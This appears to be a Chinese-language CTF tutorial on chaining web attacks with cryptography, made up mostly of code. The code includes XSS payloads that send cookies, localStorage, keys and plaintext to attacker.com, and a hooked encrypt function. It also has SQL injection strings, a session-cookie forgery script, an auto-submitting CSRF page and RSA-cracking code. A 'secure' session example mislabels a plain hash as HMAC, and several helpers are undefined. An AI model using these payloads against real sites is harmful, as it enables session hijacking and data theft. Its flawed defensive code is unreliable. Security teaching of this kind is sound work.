155_Web与密码学混合挑战：从XSS到RSA的实战指南

常用工具集：
├── Burp Suite      # Web应用安全测试平台
├── OWASP ZAP       # 开源Web应用安全扫描器
├── SQLmap          # SQL注入自动化工具
├── XSStrike        # XSS漏洞检测工具
├── BeEF            # 浏览器攻击框架
└── Metasploit      # 渗透测试框架

// 基本XSS Payload
<script>alert('XSS')</script>

// 绕过过滤的XSS Payload
<img src="x" onerror="alert('XSS')">
<svg/onload="alert('XSS')">

// 数据窃取XSS Payload
<script>
  fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

// 会话劫持XSS Payload
<script>
  var xhr = new XMLHttpRequest();
  xhr.open('POST', 'https://attacker.com/hook');
  xhr.setRequestHeader('Content-Type', 'application/json');
  xhr.send(JSON.stringify({
    cookie: document.cookie,
    localStorage: JSON.stringify(localStorage)
  }));
</script>

// XSS结合CSRF的攻击场景
<script>
  // 构造CSRF攻击请求
  var xhr = new XMLHttpRequest();
  xhr.open('POST', '/change-password');
  xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
  xhr.send('new_password=hacked123&confirm_password=hacked123');
</script>

密码学算法：
├── 对称加密
│   ├── AES
│   ├── DES
│   └── 3DES
├── 非对称加密
│   ├── RSA
│   ├── ECC
│   └── DSA
└── 哈希函数
    ├── SHA家族
    ├── MD5
    └── HMAC

# RSA密钥生成过程
import random
from math import gcd

# 生成大素数（简化版）
def generate_prime(bits=1024):
    # 实际应用中应使用更安全的素数生成方法
    while True:
        n = random.getrandbits(bits)
        if is_prime(n):  # 简化表示，实际需实现Miller-Rabin测试
            return n

# 生成RSA密钥对
def generate_rsa_keys(bits=1024):
    # 1. 选择两个大素数p和q
    p = generate_prime(bits//2)
    q = generate_prime(bits//2)
    
    # 2. 计算n = p * q
    n = p * q
    
    # 3. 计算欧拉函数φ(n) = (p-1) * (q-1)
    phi = (p-1) * (q-1)
    
    # 4. 选择e，满足1 < e < φ(n)且gcd(e, φ(n)) = 1
    while True:
        e = random.randint(2, phi-1)
        if gcd(e, phi) == 1:
            break
    
    # 5. 计算d，满足d * e ≡ 1 (mod φ(n))
    d = modular_inverse(e, phi)
    
    # 返回公钥(n,e)和私钥(n,d)
    return ((n, e), (n, d), p, q)  # 额外返回p和q用于教学目的

# 简化的模逆元计算
def modular_inverse(a, m):
    # 实际应用中应使用扩展欧几里得算法
    return pow(a, -1, m)

# RSA加密
def rsa_encrypt(message, public_key):
    n, e = public_key
    # 假设消息已经转换为整数m，且m < n
    return pow(message, e, n)

# RSA解密
def rsa_decrypt(ciphertext, private_key):
    n, d = private_key
    return pow(ciphertext, d, n)

// 前端XSS窃取加密密钥的示例
// 假设目标网站使用JavaScript进行前端加密，并将密钥存储在全局变量中

// XSS Payload
<script>
  // 窃取加密密钥
  if (window.encryptionKey) {
    // 将密钥发送到攻击者服务器
    fetch('https://attacker.com/steal?key=' + encodeURIComponent(window.encryptionKey));
  }
  
  // 或者尝试从localStorage窃取密钥
  if (localStorage.getItem('encryptionKey')) {
    fetch('https://attacker.com/steal?key=' + encodeURIComponent(localStorage.getItem('encryptionKey')));
  }
</script>

// 注入恶意加密实现，替换原有的加密函数
<script>
  // 保存原始加密函数
  var originalEncrypt = window.encrypt;
  
  // 替换为恶意实现
  window.encrypt = function(text) {
    // 首先将明文发送给攻击者
    fetch('https://attacker.com/steal?plaintext=' + encodeURIComponent(text));
    
    // 然后调用原始函数保持正常功能
    return originalEncrypt(text);
  };
</script>

#!/usr/bin/env python3
import requests
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

# 1. 利用SQL注入获取加密数据
def extract_encrypted_data(url):
    # SQL注入payload，假设存在布尔盲注漏洞
    payload = "admin' OR 1=1 UNION SELECT id, username, email, encrypted_data FROM users--"
    
    # 发送注入请求
    response = requests.post(url, data={'username': payload, 'password': 'any'})
    
    # 解析响应获取加密数据
    # 这里需要根据实际响应格式进行调整
    encrypted_data = parse_response_for_encrypted_data(response.text)
    
    return encrypted_data

# 2. 离线分析加密数据
def analyze_encrypted_data(encrypted_data):
    # 假设使用AES-CBC模式，可能需要通过其他方式获取IV
    # 尝试不同的密钥猜测或密钥派生方法
    
    # 常见弱密钥尝试
    common_keys = ['password', 'admin123', 'secret', '123456']
    
    for key_candidate in common_keys:
        # 密钥可能需要进行处理（如填充、哈希等）
        key = pad_and_hash_key(key_candidate)
        
        # 尝试解密
        try:
            decrypted = decrypt_aes_cbc(encrypted_data, key, b'\x00'*16)  # 假设IV为全0
            print(f"可能的密钥: {key_candidate}")
            print(f"解密结果: {decrypted}")
        except:
            continue

# 辅助函数：解密AES-CBC
def decrypt_aes_cbc(encrypted_data, key, iv):
    # 实际实现需根据加密数据格式调整
    # 假设encrypted_data为base64编码的字符串
    cipher = AES.new(key, AES.MODE_CBC, iv)
    encrypted_bytes = base64.b64decode(encrypted_data)
    decrypted_padded = cipher.decrypt(encrypted_bytes)
    return unpad(decrypted_padded, AES.block_size).decode('utf-8')

#!/usr/bin/env python3
import requests
import base64
import hashlib

# 1. 获取有效的会话ID
def get_valid_session(base_url):
    # 首先进行普通访问获取会话ID
    session = requests.Session()
    response = session.get(base_url)
    
    # 提取会话cookie
    session_id = session.cookies.get('session')
    print(f"获取到会话ID: {session_id}")
    
    return session_id

# 2. 分析会话ID的密码学实现
def analyze_session_cookie(session_id):
    # 假设会话ID是base64编码的
    decoded = base64.b64decode(session_id)
    
    # 尝试识别会话ID的结构
    # 可能包含：用户ID、时间戳、随机数、签名等
    print(f"解码后的会话ID: {decoded}")
    
    # 分析可能的签名算法
    # 常见的包括HMAC-SHA256、SHA1等
    return decoded

# 3. 尝试伪造有效会话
def forge_valid_session(decoded_structure):
    # 根据分析的结构，尝试构造新的会话ID
    # 这里需要针对具体的实现进行调整
    
    # 假设会话ID结构为：user_id:timestamp:signature
    parts = decoded_structure.split(b':')
    if len(parts) >= 3:
        user_id = parts[0]
        timestamp = parts[1]
        signature = parts[2]
        
        # 尝试修改用户ID为admin
        forged_user_id = b'admin'
        
        # 尝试生成有效的签名（这里简化处理）
        # 在实际攻击中，需要找到签名算法和密钥
        forged_signature = generate_signature(forged_user_id + b':' + timestamp, b'weak_secret_key')
        
        # 构造伪造的会话ID
        forged_session = base64.b64encode(forged_user_id + b':' + timestamp + b':' + forged_signature)
        print(f"伪造的会话ID: {forged_session.decode()}")
        
        return forged_session.decode()

# 辅助函数：生成简单签名（仅用于示例）
def generate_signature(data, key):
    # 实际攻击中，这部分需要通过漏洞发现
    return hashlib.sha1(data + key).digest()

# 4. 使用伪造的会话访问受保护资源
def access_protected_resource(base_url, forged_session):
    session = requests.Session()
    session.cookies.set('session', forged_session)
    
    response = session.get(f"{base_url}/protected")
    print(f"访问状态码: {response.status_code}")
    print(f"响应内容: {response.text[:200]}...")

// 使用浏览器开发者工具分析JavaScript代码
// 查找加密函数和密钥存储位置
console.log(Object.keys(window).filter(k => k.toLowerCase().includes('encrypt')));
console.log(localStorage);
console.log(sessionStorage);

// XSS Payload，假设找到一个反射型XSS点
// 目标是窃取加密密钥
<script>
  // 检查全局变量
  for(let key in window) {
    if(key.toLowerCase().includes('key') || key.toLowerCase().includes('secret')) {
      fetch('https://attacker.com/steal?name=' + key + '&value=' + encodeURIComponent(window[key]));
    }
  }
  
  // 检查localStorage
  for(let i=0; i<localStorage.length; i++) {
    let key = localStorage.key(i);
    fetch('https://attacker.com/steal?storage=local&name=' + key + '&value=' + encodeURIComponent(localStorage.getItem(key)));
  }
</script>

# 使用获取的密钥解密服务器返回的加密数据
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import base64

# 假设从XSS攻击获取的密钥
key = "the_secret_key_obtained_from_xss"

# 服务器返回的加密数据
encrypted_data = "base64_encoded_encrypted_data"

# 解密
cipher = AES.new(key.encode(), AES.MODE_CBC, b'\x00'*16)  # 假设IV为全0
decrypted = unpad(cipher.decrypt(base64.b64decode(encrypted_data)), AES.block_size)
print(decrypted.decode())

-- 假设SQL注入点在用户查询中
' UNION SELECT 1, rsa_n, rsa_e, rsa_encrypted_flag FROM config--

# 分析获取到的RSA参数
n = int(rsa_n_from_injection)
e = int(rsa_e_from_injection)
ciphertext = int(rsa_encrypted_flag_from_injection)

# 尝试分解n（可能的弱密钥情况）
# 使用工具如factordb或自行实现小因数分解
# 这里简化处理，实际CTF中可能n很小或有特殊结构
p, q = factorize(n)

if p and q:
    # 计算私钥
    from math import gcd
    phi = (p-1) * (q-1)
    d = pow(e, -1, phi)
    
    # 解密flag
    plaintext = pow(ciphertext, d, n)
    print("解密成功！Flag:", bytes.fromhex(hex(plaintext)[2:]).decode())
else:
    print("无法分解n，尝试其他方法...")

// 分析JavaScript代码中的签名生成函数
function generateSignature(data) {
  // 检查是否存在可利用的弱点，如使用已知密钥
  // 或使用可预测的nonce值
  var nonce = localStorage.getItem('nonce') || 'default_nonce';
  var key = 'hardcoded_key'; // 硬编码密钥是重大安全问题
  return sha256(data + nonce + key);
}

<!-- CSRF攻击页面 -->
<html>
<body>
  <form id="attackForm" action="https://target.com/change-email" method="POST">
    <input type="hidden" name="email" value="attacker@evil.com">
    <input type="hidden" name="signature" value="">
  </form>
  
  <script>
    // 模拟目标网站的签名生成函数
    function generateSignature(data) {
      // 假设已经通过分析获取了签名生成算法
      var nonce = 'default_nonce'; // 硬编码nonce
      var key = 'hardcoded_key'; // 硬编码密钥
      return sha256(data + nonce + key);
    }
    
    // 生成针对攻击请求的签名
    var data = 'email=attacker@evil.com';
    var signature = generateSignature(data);
    
    // 设置签名并提交表单
    document.getElementById('attackForm').elements['signature'].value = signature;
    document.getElementById('attackForm').submit();
  </script>
  
  <!-- 引入SHA256实现 -->
  <script src="https://cdnjs.cloudflare.com/ajax/libs/js-sha256/0.9.0/sha256.min.js"></script>
</body>
</html>

# 安全的会话ID生成示例（Python）
import secrets
import hashlib
import time

def generate_secure_session_id(user_id):
    # 使用密码学安全的随机数生成器
    random_part = secrets.token_bytes(32)
    timestamp = int(time.time())
    
    # 组合数据
    data = f"{user_id}:{timestamp}:{random_part.hex()}"
    
    # 添加HMAC签名
    secret_key = get_secret_key_from_config()  # 从安全的配置中获取密钥
    hmac = hashlib.sha256((data + secret_key).encode()).hexdigest()
    
    # 返回完整的会话ID
    return f"{data}:{hmac}"

# 有效的CSP头示例
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com; object-src 'none'; base-uri 'self'; form-action 'self'; frame-ancestors 'none'

# 安全的密钥管理示例（Python）
import os
import json
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
from cryptography.hazmat.primitives import hashes
from cryptography.fernet import Fernet

def generate_derived_key(password, salt=None):
    # 如果没有提供salt，则生成新的
    if salt is None:
        salt = os.urandom(16)
    
    # 使用PBKDF2进行密钥派生
    kdf = PBKDF2HMAC(
        algorithm=hashes.SHA256(),
        length=32,
        salt=salt,
        iterations=100000,
    )
    key = base64.urlsafe_b64encode(kdf.derive(password.encode()))
    
    return key, salt

def encrypt_sensitive_data(data, password):
    # 生成派生密钥
    key, salt = generate_derived_key(password)
    
    # 加密数据
    f = Fernet(key)
    encrypted_data = f.encrypt(json.dumps(data).encode())
    
    # 返回salt和加密数据
    return {
        'salt': base64.urlsafe_b64encode(salt).decode(),
        'encrypted_data': encrypted_data.decode()
    }

#!/usr/bin/env python3
import requests
import re
import base64
import hashlib
from collections import defaultdict

class WebCryptoAnalyzer:
    def __init__(self, target_url):
        self.target_url = target_url
        self.session = requests.Session()
        self.collected_crypto_data = defaultdict(list)
    
    def crawl_site(self, max_depth=2):
        """爬取网站并收集可能的密码学相关信息"""
        visited = set()
        to_visit = [(self.target_url, 0)]
        
        while to_visit:
            url, depth = to_visit.pop(0)
            if depth > max_depth or url in visited:
                continue
            
            visited.add(url)
            print(f"爬取: {url}")
            
            try:
                response = self.session.get(url)
                
                # 收集JavaScript中的密码学相关信息
                self._extract_crypto_info_from_js(response.text)
                
                # 查找页面中的链接
                links = re.findall(r'href=["\']([^"\']+)', response.text)
                for link in links:
                    # 处理相对路径
                    if link.startswith('/'):
                        from urllib.parse import urlparse, urljoin
                        base_url = urlparse(self.target_url)
                        full_url = urljoin(f"{base_url.scheme}://{base_url.netloc}", link)
                        if full_url.startswith(base_url.scheme + "://" + base_url.netloc):
                            to_visit.append((full_url, depth + 1))
            
            except Exception as e:
                print(f"爬取错误 {url}: {e}")
    
    def _extract_crypto_info_from_js(self, js_code):
        """从JavaScript代码中提取密码学相关信息"""
        # 查找可能的密钥
        key_patterns = [
            r'(?:key|secret)["\']?\s*[:=]\s*["\']([^"\']+)["\']',
            r'(?:Crypto|AES|RSA)["\']?\s*\(\s*["\']([^"\']+)["\']',
        ]
        
        for pattern in key_patterns:
            matches = re.findall(pattern, js_code, re.IGNORECASE)
            for match in matches:
                if len(match) > 4:  # 忽略太短的匹配
                    self.collected_crypto_data['possible_keys'].append(match)
        
        # 查找可能的加密函数调用
        crypto_func_patterns = [
            r'(encrypt|decrypt|sign|verify)["\']?\s*\([^\)]+\)',
            r'new\s+(AES|RSA|Crypto|Hash|HMAC)["\']?\s*\([^\)]+\)',
        ]
        
        for pattern in crypto_func_patterns:
            matches = re.findall(pattern, js_code, re.IGNORECASE)
            for match in matches:
                self.collected_crypto_data['crypto_functions'].append(match)
        
        # 查找硬编码的base64数据
        b64_patterns = [
            r'(?:data|payload)["\']?\s*[:=]\s*["\']([A-Za-z0-9+/=]{20,})["\']',
            r'["\']([A-Za-z0-9+/=]{20,})["\']\s*\.\s*(?:decode|fromBase64)',
        ]
        
        for pattern in b64_patterns:
            matches = re.findall(pattern, js_code)
            for match in matches:
                try:
                    decoded = base64.b64decode(match).decode('utf-8', 'ignore')
                    self.collected_crypto_data['base64_data'].append({
                        'encoded': match,
                        'decoded': decoded
                    })
                except:
                    continue
    
    def check_for_common_vulnerabilities(self):
        """检查常见的密码学实现漏洞"""
        vulnerabilities = []
        
        # 检查弱密钥
        weak_keys = ['password', 'admin', '123456', 'secret', 'test']
        for possible_key in self.collected_crypto_data['possible_keys']:
            if any(weak_key in possible_key.lower() for weak_key in weak_keys):
                vulnerabilities.append(f"发现可能的弱密钥: {possible_key}")
        
        # 检查不安全的加密模式
        insecure_patterns = ['ECB', 'DES', 'MD5', 'SHA1']
        for func in self.collected_crypto_data['crypto_functions']:
            if any(pattern in func.upper() for pattern in insecure_patterns):
                vulnerabilities.append(f"可能使用不安全的算法: {func}")
        
        # 检查硬编码的敏感信息
        sensitive_patterns = ['token', 'secret', 'private', 'key']
        for key in self.collected_crypto_data['possible_keys']:
            if any(pattern in key.lower() for pattern in sensitive_patterns) and len(key) > 10:
                vulnerabilities.append(f"可能硬编码的敏感信息: {key}")
        
        return vulnerabilities
    
    def generate_report(self):
        """生成分析报告"""
        vulnerabilities = self.check_for_common_vulnerabilities()
        
        report = {
            'target_url': self.target_url,
            'collected_data': dict(self.collected_crypto_data),
            'identified_vulnerabilities': vulnerabilities,
            'recommendations': []
        }
        
        # 添加建议
        if vulnerabilities:
            report['recommendations'].append("立即修复发现的所有密码学实现漏洞")
        
        if self.collected_crypto_data['possible_keys']:
            report['recommendations'].append("确保密钥不硬编码在JavaScript中，应从服务器安全获取")
        
        if any('ECB' in func.upper() for func in self.collected_crypto_data['crypto_functions']):
            report['recommendations'].append("避免使用ECB模式，使用CBC或GCM等更安全的模式")
        
        return report

# 使用示例
if __name__ == "__main__":
    analyzer = WebCryptoAnalyzer("https://example.com")
    analyzer.crawl_site(max_depth=2)
    report = analyzer.generate_report()
    
    import json
    print(json.dumps(report, indent=2))

# 使用Selenium自动化浏览器操作，结合XSS与密码学分析
from selenium import webdriver
from selenium.webdriver.common.by import By
import time
import base64
import json

def exploit_xss_crypto(url, xss_payload):
    # 初始化浏览器
    driver = webdriver.Firefox()
    
    try:
        # 访问目标网站
        driver.get(url)
        
        # 找到XSS注入点（假设是搜索框）
        search_box = driver.find_element(By.NAME, "search")
        
        # 注入XSS payload，假设payload会将加密信息发送到我们的服务器
        # 这里简化处理，实际payload需要根据目标站点定制
        search_box.send_keys(xss_payload)
        search_box.submit()
        
        # 等待XSS执行
        time.sleep(3)
        
        # 模拟从我们的服务器获取收集到的加密信息
        # 实际应用中，这部分数据会从攻击者的服务器获取
        crypto_info = get_crypto_info_from_attacker_server()
        
        # 分析加密信息并尝试破解
        result = analyze_and_crack_crypto(crypto_info)
        
        return result
        
    finally:
        driver.quit()

# 针对Web应用中密码学功能的模糊测试
import requests
import random
import string
import base64

def crypto_fuzzer(target_url, endpoint, iterations=100):
    results = []
    
    for i in range(iterations):
        # 生成测试数据
        test_data = generate_test_data()
        
        # 发送请求
        try:
            response = requests.post(
                f"{target_url}{endpoint}",
                data={"input": test_data},
                timeout=5
            )
            
            # 分析响应
            if analyze_response_for_vulnerabilities(response):
                results.append({
                    "iteration": i,
                    "test_data": test_data,
                    "status_code": response.status_code,
                    "response": response.text[:500]  # 只保存部分响应
                })
                print(f"发现潜在问题: 迭代 {i}")
            
        except Exception as e:
            results.append({
                "iteration": i,
                "test_data": test_data,
                "error": str(e)
            })
            print(f"请求错误: 迭代 {i}, 错误: {e}")
    
    return results

def generate_test_data():
    """生成各种类型的测试数据"""
    data_types = [
        # 生成超长字符串
        lambda: 'A' * random.randint(1000, 10000),
        
        # 生成base64编码的随机数据
        lambda: base64.b64encode(''.join(random.choices(string.ascii_letters + string.digits, k=random.randint(10, 100))).encode()).decode(),
        
        # 生成特殊字符
        lambda: ''.join(random.choices('\x00\x01\x02\x03\x04\x05\x0a\x0d\x1a\x1b\xff', k=random.randint(10, 100))),
        
        # 生成JSON格式的畸形数据
        lambda: '{"test":"value' + '"' * random.randint(10, 100),
        
        # 生成可能的密钥格式数据
        lambda: '0x' + ''.join(random.choices('0123456789abcdef', k=random.randint(16, 64)))
    ]
    
    # 随机选择一种数据生成方法
    return random.choice(data_types)()

# RSA弱密钥检测与破解脚本
import math
from sympy import isprime, nextprime
import sys

def check_rsa_weaknesses(n, e, c=None):
    """检查RSA参数的常见弱点"""
    results = []
    
    # 检查n是否很小（可分解）
    if n < 2**512:  # 小于512位的n可能容易分解
        results.append("警告: n的位数过小，可能容易被分解")
        # 尝试分解小n
        factors = factor_small_n(n)
        if factors:
            p, q = factors
            results.append(f"成功分解n: p={p}, q={q}")
            
            # 如果提供了e和c，尝试解密
            if e and c:
                phi = (p-1) * (q-1)
                try:
                    d = modular_inverse(e, phi)
                    m = pow(c, d, n)
                    results.append(f"解密成功: m={m}")
                    # 尝试转换为ASCII
                    try:
                        plaintext = bytes.fromhex(hex(m)[2:]).decode()
                        results.append(f"转换为文本: {plaintext}")
                    except:
                        pass
                except:
                    results.append("计算私钥失败")
    
    # 检查e是否过小
    if e < 1000:
        results.append(f"警告: e值过小({e})，可能容易受到低指数攻击")
    
    # 检查e是否与phi(n)不互质（如果已知phi）
    # 注意：这部分通常需要知道p和q才能计算phi(n)
    
    # 检查n是否为素数（错误配置）
    if isprime(n):
        results.append("严重错误: n是素数，不是两个素数的乘积")
    
    return results

def factor_small_n(n, max_iterations=100000):
    """尝试分解小的n值"""
    if n % 2 == 0:
        return (2, n // 2)
    
    for i in range(3, int(math.isqrt(n)) + 1, 2):
        if i > max_iterations:  # 限制最大迭代次数
            break
        if n % i == 0:
            return (i, n // i)
    
    return None  # 未找到因子

def modular_inverse(a, m):
    """计算模逆元"""
    # 使用扩展欧几里得算法
    g, x, y = extended_gcd(a, m)
    if g != 1:
        raise ValueError('模逆元不存在')
    else:
        return x % m

def extended_gcd(a, b):
    """扩展欧几里得算法"""
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = extended_gcd(b % a, a)
        return (g, x - (b // a) * y, y)

CTF混合挑战解题流程：
1. 信息收集与枚举
   - 分析网站功能和结构
   - 寻找可能的漏洞点
   - 收集密码学参数和实现细节

2. 漏洞识别与利用
   - 分别测试Web漏洞和密码学实现
   - 寻找两者的结合点
   - 设计攻击链

3. 自动化与脚本编写
   - 编写辅助脚本加速分析
   - 实现自动化攻击流程
   - 迭代优化攻击方法

4. 绕过与突破
   - 绕过可能的防护措施
   - 利用多种漏洞组合
   - 创造性地解决问题